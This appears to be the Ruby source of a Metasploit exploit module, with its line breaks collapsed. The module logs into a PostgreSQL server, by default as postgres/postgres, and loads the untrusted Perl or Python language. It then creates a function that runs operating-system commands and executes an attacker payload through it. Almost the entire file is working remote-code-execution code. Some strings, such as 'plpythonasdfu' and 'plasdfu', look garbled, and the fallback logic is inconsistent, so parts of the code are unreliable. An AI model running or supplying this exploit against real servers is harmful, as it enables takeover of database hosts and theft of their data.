## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/exploit/postgres' class Metasploit4 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Postgres include Msf::Auxiliary::Report # Creates an instance of this module.
 def initialize(info = {}) super(update_info(info, 'Name' => 'PostgreSQL CREATE LANGUAGE Execution', 'Description' => %q{ Some installations of Postgres are configured to allow loading external
 scripting languages. Most commonly this is Perl and
 Python. When enabled, command execution is possible
 on the host. To execute system commands, loading the "untrusted" version of the language is necessary. This requires a superuser. This is usually postgres. The execution should be platform-agnostic, and has been tested on OS X, Windows, and Linux. This module attempts to load Perl or Python to execute system
 commands. As this dynamically loads a scripting language to execute commands,
 it is not necessary to drop a file on the filesystem.
 }, 'Author' => [ 'Micheal Cottingham', # author of this module 'midnitesnake', # the postgres_payload module that this is based on ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'], ['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'], ['URL', 'http://www.postgresql.org/docs/current/static/plpython.html'] ], 'Platform' => %w{python linux unix win osx}, 'Payload' => { 'PayloadType' => %w{python cmd} }, 'Arch' => [ARCH_CMD, ARCH_PYTHON], 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'DisclosureDate' => '' )) register_options([ OptString.new('USERNAME', [true, 'The username to the service', 'postgres']), OptString.new('PASSWORD', [true, 'The password to the service', 'postgres']) ], self.class) deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE') end def check version = postgres_fingerprint if version[:auth] return CheckCode::Appears else print_error "Authentication failed. #{version[:preauth] || version[:unknown]}" return CheckCode::Safe end end def exploit version = do_login(username, password, database) case version when :noauth; print_error 'Authentication failed.'; return when :noconn; print_error 'Connection failed.'; return else print_status("#{rhost}:#{rport} - #{version}") end begin func_name = Rex::Text.rand_text_alpha(10) load_perl = create_perl # Decision tree - not clean, but it works. # If you have suggestions for improvement, please contact me on Github - @micheal case load_perl when 'exists' print_status 'Perl is already loaded, continuing' createPerlFunc(func_name) when 'loaded' print_status 'Perl was successfully loaded, continuing' createPerlFunc(func_name) when 'not_exists' print_status 'Perl is not installed on the target, attempting Python2' load_python2, ver = create_python2 case load_python2 when 'exists' print_status 'Python2 is already loaded, continuing' create_python_func(func_name, '') when 'loaded' print_status 'Python2 was successfully loaded, continuing' create_python_func(func_name, '') when 'not_exists' print_status 'Python2 is not installed on the target, attempting Python3' load_python3 = create_python3 case load_python3 when 'exists' print_status 'Python3 is already loaded, continuing' create_python_func(func_name, '3') when 'loaded' print_status 'Python3 was successfully loaded, continuing' create_python_func(func_name, '3') when 'not_exists' print_error 'No suitable exploit path found, exiting' return end end end selectQuery = postgres_query("SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')") case selectQuery.keys[0] when :conn_error print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect." when :sql_error print_error "#{rhost}:#{rport} Postgres - #{selectQuery[:sql_error]}" when :complete vprint_good "#{rhost}:#{rport} Postgres - Command complete." end rescue RuntimeError => e print_error "Failed to create UDF: #{e.class}: #{e}" end postgres_logout if @postgres_conn end def create_python2 create = postgres_query("CREATE LANGUAGE plpythonasdfu") if(create.keys[0] == :sql_error) matchExists = create[:sql_error].match(/language "plpythonu" already exists/m) if(matchExists) return 'exists', '' else #matchError = create[:sql_error].match(/could not access file/m) matchError = create[:sql_error].match(/unsupported language/m) if(matchError) # One more attempt create2 = postgres_query("CREATE LANGUAGE plpythonu") matchError2 = create2[:sql_error].match(/could not access file/m) if(matchError2) return 'not_exists' else return 'loaded', '2' end end end else return 'loaded', '' end end def create_python3 create = postgres_query("CREATE LANGUAGE plpython3u") if(create.keys[0] == :sql_error) matchExists = create[:sql_error].match(/language "plpython3u" already exists/m) if(matchExists) return 'exists' else matchError = create[:sql_error].match(/could not access file/m) if(matchError) return 'not_exists' end end else return 'loaded' end end def create_python_func(name, version) create_python_function = postgres_query( "CREATE OR REPLACE FUNCTION exec_#{name}(c text) RETURNS void as $$" + "import subprocess, shlex" + "return subprocess.check_output(shlex.split(c))" + "$$ LANGUAGE plpython#{version}u") case create_python_function.keys[0] when :conn_error print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect." when :sql_error print_error "#{rhost}:#{rport} Postgres - #{create_python_function[:sql_error]}" when :complete print_good "#{rhost}:#{rport} Postgres - Command complete." end end def create_perl create = postgres_query("CREATE LANGUAGE plasdfu", 50) if(create.keys[0] == :sql_error) matchExists = create[:sql_error].match(/language "plperlu" already exists/m) if(matchExists) return 'exists' else matchError = create[:sql_error].match(/could not access file/m) return 'not_exists' if(matchError) return 'not_exists' end end else return 'loaded' end end def createPerlFunc(name) createPerlFunction = postgres_query( "CREATE OR REPLACE FUNCTION exec_#{name}(text) RETURNS TEXT as $$" + "return `$_[0]`;" + "$$ LANGUAGE plperlu") case createPerlFunction.keys[0] when :conn_error print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect." when :sql_error print_error "#{rhost}:#{rport} Postgres - #{createPerlFunction[:sql_error]}" when :complete print_good "#{rhost}:#{rport} Postgres - Command complete." end end # Authenticate to the postgres server.
 # Returns the version from #postgres_fingerprint def do_login(user=nil, pass=nil, database=nil) begin password = pass || postgres_password vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") result = postgres_fingerprint( :db => database, :username => user, :password => password ) if result[:auth] report_service( :host => rhost, :port => rport, :name => "postgres", :info => result.values.first ) return result[:auth] else print_status("Login failed, fingerprint is #{result[:preauth] || result[:unknown]}") return :noauth end rescue Rex::ConnectionError, Rex::Post::Meterpreter::RequestError return :noconn end end end